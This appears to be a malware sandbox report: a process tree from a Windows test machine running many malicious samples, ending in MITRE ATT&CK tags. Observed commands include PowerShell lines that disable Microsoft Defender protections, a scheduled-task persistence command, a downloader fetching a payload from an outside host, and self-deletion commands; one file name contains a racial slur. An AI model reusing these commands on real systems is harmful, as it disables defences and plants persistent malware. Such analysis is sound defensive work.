C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Restter.exe"C:\Users\Admin\AppData\Local\Temp\Restter.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe"3⤵
-
-
C:\ProgramData\Synaptics\Synaptics.exe"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate3⤵
-
C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RobloxOptimizer.exe"C:\Users\Admin\AppData\Local\Temp\RobloxOptimizer.exe"2⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "MsEdge" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Cleaner.exe" /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\sdoijsgroeij324.exe"C:\Users\Admin\AppData\Local\Temp\sdoijsgroeij324.exe"2⤵
-
\??\c:\vjpdd.exec:\vjpdd.exe3⤵
-
\??\c:\nbbtnh.exec:\nbbtnh.exe4⤵
-
\??\c:\ddddv.exec:\ddddv.exe5⤵
-
\??\c:\9xfxffx.exec:\9xfxffx.exe6⤵
-
\??\c:\rrrxrrl.exec:\rrrxrrl.exe7⤵
-
\??\c:\vpppj.exec:\vpppj.exe8⤵
-
\??\c:\vppjd.exec:\vppjd.exe9⤵
-
\??\c:\bbbtnn.exec:\bbbtnn.exe10⤵
-
\??\c:\5btbtt.exec:\5btbtt.exe11⤵
-
\??\c:\dvjjj.exec:\dvjjj.exe12⤵
-
\??\c:\dvjdj.exec:\dvjdj.exe13⤵
-
\??\c:\rxlfllr.exec:\rxlfllr.exe14⤵
-
\??\c:\xrlfxxl.exec:\xrlfxxl.exe15⤵
-
\??\c:\rllfxxr.exec:\rllfxxr.exe16⤵
-
\??\c:\rrfrffx.exec:\rrfrffx.exe17⤵
-
\??\c:\thnhbh.exec:\thnhbh.exe18⤵
-
\??\c:\bttnbb.exec:\bttnbb.exe19⤵
-
\??\c:\djjdd.exec:\djjdd.exe20⤵
-
\??\c:\llfrxll.exec:\llfrxll.exe21⤵
-
\??\c:\9rrlxrl.exec:\9rrlxrl.exe22⤵
-
\??\c:\5llfxrx.exec:\5llfxrx.exe23⤵
-
\??\c:\3ppdd.exec:\3ppdd.exe24⤵
-
\??\c:\ffffrlf.exec:\ffffrlf.exe25⤵
-
\??\c:\hnnbth.exec:\hnnbth.exe26⤵
-
\??\c:\7dddv.exec:\7dddv.exe27⤵
-
\??\c:\lfxlxxr.exec:\lfxlxxr.exe28⤵
-
\??\c:\vpdvj.exec:\vpdvj.exe29⤵
-
\??\c:\bnthtt.exec:\bnthtt.exe30⤵
-
\??\c:\hhhhnn.exec:\hhhhnn.exe31⤵
-
\??\c:\tnhbhh.exec:\tnhbhh.exe32⤵
-
\??\c:\vpjdp.exec:\vpjdp.exe33⤵
-
\??\c:\jvjdd.exec:\jvjdd.exe34⤵
-
\??\c:\1bbtnn.exec:\1bbtnn.exe35⤵
-
\??\c:\xxrlffr.exec:\xxrlffr.exe36⤵
-
\??\c:\7rxxrrl.exec:\7rxxrrl.exe37⤵
-
\??\c:\lfffrlf.exec:\lfffrlf.exe38⤵
-
\??\c:\bbttnh.exec:\bbttnh.exe39⤵
-
\??\c:\dvpjv.exec:\dvpjv.exe40⤵
-
\??\c:\hbhntt.exec:\hbhntt.exe41⤵
-
\??\c:\bbhhhh.exec:\bbhhhh.exe42⤵
-
\??\c:\1pvpj.exec:\1pvpj.exe43⤵
-
\??\c:\dvvjj.exec:\dvvjj.exe44⤵
-
\??\c:\3lxllff.exec:\3lxllff.exe45⤵
-
\??\c:\rlfxxrl.exec:\rlfxxrl.exe46⤵
-
\??\c:\hbtbtt.exec:\hbtbtt.exe47⤵
-
\??\c:\5bhhnh.exec:\5bhhnh.exe48⤵
-
\??\c:\lflxrlx.exec:\lflxrlx.exe49⤵
-
\??\c:\bnhthn.exec:\bnhthn.exe50⤵
-
\??\c:\9dvvd.exec:\9dvvd.exe51⤵
-
\??\c:\1vpjd.exec:\1vpjd.exe52⤵
-
\??\c:\hhhbtt.exec:\hhhbtt.exe53⤵
-
\??\c:\xxrrlll.exec:\xxrrlll.exe54⤵
-
\??\c:\vppjd.exec:\vppjd.exe55⤵
-
\??\c:\hbnttt.exec:\hbnttt.exe56⤵
-
\??\c:\9bthtn.exec:\9bthtn.exe57⤵
-
\??\c:\xlxrlll.exec:\xlxrlll.exe58⤵
-
\??\c:\ffxxxrr.exec:\ffxxxrr.exe59⤵
-
\??\c:\3ddpj.exec:\3ddpj.exe60⤵
-
\??\c:\hhhtnn.exec:\hhhtnn.exe61⤵
-
\??\c:\llffllx.exec:\llffllx.exe62⤵
-
\??\c:\tntnnn.exec:\tntnnn.exe63⤵
-
\??\c:\rfxlfxl.exec:\rfxlfxl.exe64⤵
-
\??\c:\jpdvd.exec:\jpdvd.exe65⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Setup.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\tuffnigga.exe"C:\Users\Admin\AppData\Local\Temp\tuffnigga.exe"2⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"3⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Umbral.exe"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 23⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Disables automatic submission of suspicious files to Microsoft by Windows Defender
-
-
-
C:\Users\Admin\AppData\Local\Temp\48qKwkR.exe"C:\Users\Admin\AppData\Local\Temp\48qKwkR.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"2⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\riende.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\riende.exeC:\Users\Admin\AppData\Local\Temp\Files\riende.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\XClient.exeC:\Users\Admin\AppData\Local\Temp\Files\XClient.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\CYANID~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\CYANID~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\CYANID~1.EXE4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\TINDER~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\TINDER~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\TINDER~1.EXE4⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"4⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\SCALEC~1.EXE"3⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\TrainJX.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\TrainJX.exeC:\Users\Admin\AppData\Local\Temp\Files\TrainJX.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\main1.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\main1.exeC:\Users\Admin\AppData\Local\Temp\Files\main1.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\main1.exeC:\Users\Admin\AppData\Local\Temp\Files\main1.exe5⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"4⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"4⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.tmp"4⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.tmp"4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\06bK6nU.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\06bK6nU.exeC:\Users\Admin\AppData\Local\Temp\Files\06bK6nU.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\RDPW_I~1.EXE"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Antieac.exe"C:\Users\Admin\AppData\Local\Temp\Antieac.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\aoi1j.exe"C:\Users\Admin\AppData\Local\Temp\aoi1j.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\3582-490\aoi1j.exe"C:\Users\Admin\AppData\Local\Temp\3582-490\aoi1j.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\aoisjf.exe"C:\Users\Admin\AppData\Local\Temp\aoisjf.exe"2⤵
-
C:\Windows\SysWOW64\Efffmo32.exeC:\Windows\system32\Efffmo32.exe3⤵
-
C:\Windows\SysWOW64\Ffpicn32.exeC:\Windows\system32\Ffpicn32.exe4⤵
-
C:\Windows\SysWOW64\Fpodlbng.exeC:\Windows\system32\Fpodlbng.exe5⤵
-
C:\Windows\SysWOW64\Gkiaej32.exeC:\Windows\system32\Gkiaej32.exe6⤵
-
C:\Windows\SysWOW64\Ginnfgop.exeC:\Windows\system32\Ginnfgop.exe7⤵
-
C:\Windows\SysWOW64\Hhfedm32.exeC:\Windows\system32\Hhfedm32.exe8⤵
-
C:\Windows\SysWOW64\Hkgnfhnh.exeC:\Windows\system32\Hkgnfhnh.exe9⤵
-
C:\Windows\SysWOW64\Igchfiof.exeC:\Windows\system32\Igchfiof.exe10⤵
-
C:\Windows\SysWOW64\Jkhgmf32.exeC:\Windows\system32\Jkhgmf32.exe11⤵
-
C:\Windows\SysWOW64\Jnmijq32.exeC:\Windows\system32\Jnmijq32.exe12⤵
-
C:\Windows\SysWOW64\Keqdmihc.exeC:\Windows\system32\Keqdmihc.exe13⤵
-
C:\Windows\SysWOW64\Lghcocol.exeC:\Windows\system32\Lghcocol.exe14⤵
-
C:\Windows\SysWOW64\Nbqmiinl.exeC:\Windows\system32\Nbqmiinl.exe15⤵
-
C:\Windows\SysWOW64\Bjbfklei.exeC:\Windows\system32\Bjbfklei.exe16⤵
-
C:\Windows\SysWOW64\Cimmggfl.exeC:\Windows\system32\Cimmggfl.exe17⤵
-
C:\Windows\SysWOW64\Ccdnjp32.exeC:\Windows\system32\Ccdnjp32.exe18⤵
-
C:\Windows\SysWOW64\Emdajb32.exeC:\Windows\system32\Emdajb32.exe19⤵
-
C:\Windows\SysWOW64\Ffaong32.exeC:\Windows\system32\Ffaong32.exe20⤵
-
C:\Windows\SysWOW64\Glldgljg.exeC:\Windows\system32\Glldgljg.exe21⤵
-
C:\Windows\SysWOW64\Hgkkkcbc.exeC:\Windows\system32\Hgkkkcbc.exe22⤵
-
C:\Windows\SysWOW64\Jddnfd32.exeC:\Windows\system32\Jddnfd32.exe23⤵
-
C:\Windows\SysWOW64\Kcndbp32.exeC:\Windows\system32\Kcndbp32.exe24⤵
-
C:\Windows\SysWOW64\Mkohaj32.exeC:\Windows\system32\Mkohaj32.exe25⤵
-
C:\Windows\SysWOW64\Nmgjia32.exeC:\Windows\system32\Nmgjia32.exe26⤵
-
C:\Windows\SysWOW64\Peahgl32.exeC:\Windows\system32\Peahgl32.exe27⤵
-
C:\Windows\SysWOW64\Qlimed32.exeC:\Windows\system32\Qlimed32.exe28⤵
-
C:\Windows\SysWOW64\Bdgged32.exeC:\Windows\system32\Bdgged32.exe29⤵
-
C:\Windows\SysWOW64\Hdffah32.exeC:\Windows\system32\Hdffah32.exe30⤵
-
C:\Windows\SysWOW64\Jeneidji.exeC:\Windows\system32\Jeneidji.exe31⤵
-
C:\Windows\SysWOW64\Bbniai32.exeC:\Windows\system32\Bbniai32.exe32⤵
-
C:\Windows\SysWOW64\Qjeaog32.exeC:\Windows\system32\Qjeaog32.exe33⤵
-
C:\Windows\SysWOW64\Lihpdj32.exeC:\Windows\system32\Lihpdj32.exe34⤵
-
C:\Windows\SysWOW64\Gechnpid.exeC:\Windows\system32\Gechnpid.exe35⤵
-
C:\Windows\SysWOW64\Hpqlof32.exeC:\Windows\system32\Hpqlof32.exe36⤵
-
C:\Windows\SysWOW64\Ehhgpj32.exeC:\Windows\system32\Ehhgpj32.exe37⤵
-
C:\Windows\SysWOW64\Bjbnndgl.exeC:\Windows\system32\Bjbnndgl.exe38⤵
-
C:\Windows\SysWOW64\Anadho32.exeC:\Windows\system32\Anadho32.exe39⤵
-
C:\Windows\SysWOW64\Lppbdmig.exeC:\Windows\system32\Lppbdmig.exe40⤵
-
C:\Windows\SysWOW64\Fkkemble.exeC:\Windows\system32\Fkkemble.exe41⤵
-
C:\Windows\SysWOW64\Fjjnblhi.exeC:\Windows\system32\Fjjnblhi.exe42⤵
-
C:\Windows\SysWOW64\Opiipkfb.exeC:\Windows\system32\Opiipkfb.exe43⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"40⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"40⤵
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"34⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"34⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"31⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"31⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"30⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"30⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\aosidjn.exe"C:\Users\Admin\AppData\Local\Temp\aosidjn.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\aosidjn.exe"C:\Users\Admin\AppData\Local\Temp\aosidjn.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\aosuifhn.exe"C:\Users\Admin\AppData\Local\Temp\aosuifhn.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\aso9iu8j1298joisd.exe"C:\Users\Admin\AppData\Local\Temp\aso9iu8j1298joisd.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\bb84d74b202b0223952a5ec3035430b938a99704fada5771231b2051324d5f4f.exe"C:\Users\Admin\AppData\Local\Temp\bb84d74b202b0223952a5ec3035430b938a99704fada5771231b2051324d5f4f.exe"2⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\cert.exe" https://bb.c1yun.xyz/cert.jpg3⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\cert.exeC:\Users\Admin\AppData\Local\Temp\RarSFX0\cert.exe https://bb.c1yun.xyz/cert.jpg4⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\BLTOOL~1.EXE"2⤵
-
C:\Users\Admin\AppData\Local\Temp\BLTOOL~1.EXEC:\Users\Admin\AppData\Local\Temp\BLTOOL~1.EXE3⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\svchost1.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\svchost1.exeC:\Users\Admin\AppData\Local\Temp\svchost1.exe5⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\svchost2.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\svchost2.exeC:\Users\Admin\AppData\Local\Temp\svchost2.exe5⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"6⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"6⤵
-
-
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\EB8002~1.EXE"2⤵
-
C:\Users\Admin\AppData\Local\Temp\EB8002~1.EXEC:\Users\Admin\AppData\Local\Temp\EB8002~1.EXE3⤵
-
C:\Windows\microsofthelp.exe"C:\Windows\microsofthelp.exe"4⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\EE8120~1.EXE"2⤵
-
C:\Users\Admin\AppData\Local\Temp\EE8120~1.EXEC:\Users\Admin\AppData\Local\Temp\EE8120~1.EXE3⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\PROGRA~3\MICROS~1\Windows\STARTM~1\Programs\Startup\Skcsk.exe"4⤵
-
C:\PROGRA~3\MICROS~1\Windows\STARTM~1\Programs\Startup\Skcsk.exeC:\PROGRA~3\MICROS~1\Windows\STARTM~1\Programs\Startup\Skcsk.exe5⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\EE8120~1.EXE > nul4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\funny.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\funny.exeC:\Users\Admin\AppData\Local\Temp\funny.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\svchost015.exeC:\Users\Admin\AppData\Local\Temp\svchost015.exe4⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\funny1.exe"2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 2772 -ip 27721⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 5456 -ip 54561⤵
-
C:\Windows\uGiG.eXeuGiG.eXe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 6060 -ip 60601⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4672 -ip 46721⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 2540 -ip 25401⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004D8 0x00000000000004E01⤵
-
C:\Windows\SysWOW64\openwith.exe"C:\Windows\system32\openwith.exe"1⤵
-
C:\Users\Admin\AppData\Roaming\SubDir\Cleaner.exeC:\Users\Admin\AppData\Roaming\SubDir\Cleaner.exe1⤵
-
C:\Windows\system32\schtasks.exe"schtasks" /create /tn "MsEdge" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Cleaner.exe" /rl HIGHEST /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
-
C:\Windows\SysWOW64\._cache_Synaptics.exe"C:\Windows\system32\._cache_Synaptics.exe"2⤵
-
-
C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
-
C:\Windows\SysWOW64\._cache_Synaptics.exe"C:\Windows\system32\._cache_Synaptics.exe"2⤵
-
-
C:\Users\Admin\AppData\Roaming\SubDir\Cleaner.exeC:\Users\Admin\AppData\Roaming\SubDir\Cleaner.exe1⤵
-
C:\Users\Admin\AppData\Roaming\SubDir\Cleaner.exeC:\Users\Admin\AppData\Roaming\SubDir\Cleaner.exe1⤵
-
C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
-
C:\Windows\SysWOW64\._cache_Synaptics.exe"C:\Windows\system32\._cache_Synaptics.exe"2⤵
-
-
C:\Windows\microsofthelp.exeC:\Windows\microsofthelp.exe1⤵
-
C:\Windows\microsofthelp.exeC:\Windows\microsofthelp.exe1⤵
-
C:\Windows\microsofthelp.exeC:\Windows\microsofthelp.exe1⤵
-
C:\Windows\microsofthelp.exeC:\Windows\microsofthelp.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\update.exeC:\Users\Admin\AppData\Local\Temp\update.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\update.exeC:\Users\Admin\AppData\Local\Temp\update.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\update.exeC:\Users\Admin\AppData\Local\Temp\update.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\update.exeC:\Users\Admin\AppData\Local\Temp\update.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\update.exeC:\Users\Admin\AppData\Local\Temp\update.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\update.exeC:\Users\Admin\AppData\Local\Temp\update.exe1⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"2⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"2⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.tmp"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\update.exeC:\Users\Admin\AppData\Local\Temp\update.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\update.exeC:\Users\Admin\AppData\Local\Temp\update.exe1⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"2⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\update.exeC:\Users\Admin\AppData\Local\Temp\update.exe1⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"2⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"2⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.tmp"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\update.exeC:\Users\Admin\AppData\Local\Temp\update.exe1⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"2⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\update.exeC:\Users\Admin\AppData\Local\Temp\update.exe1⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"2⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 16044 -ip 160441⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 16884 -ip 168841⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Boot or Logon Autostart Execution
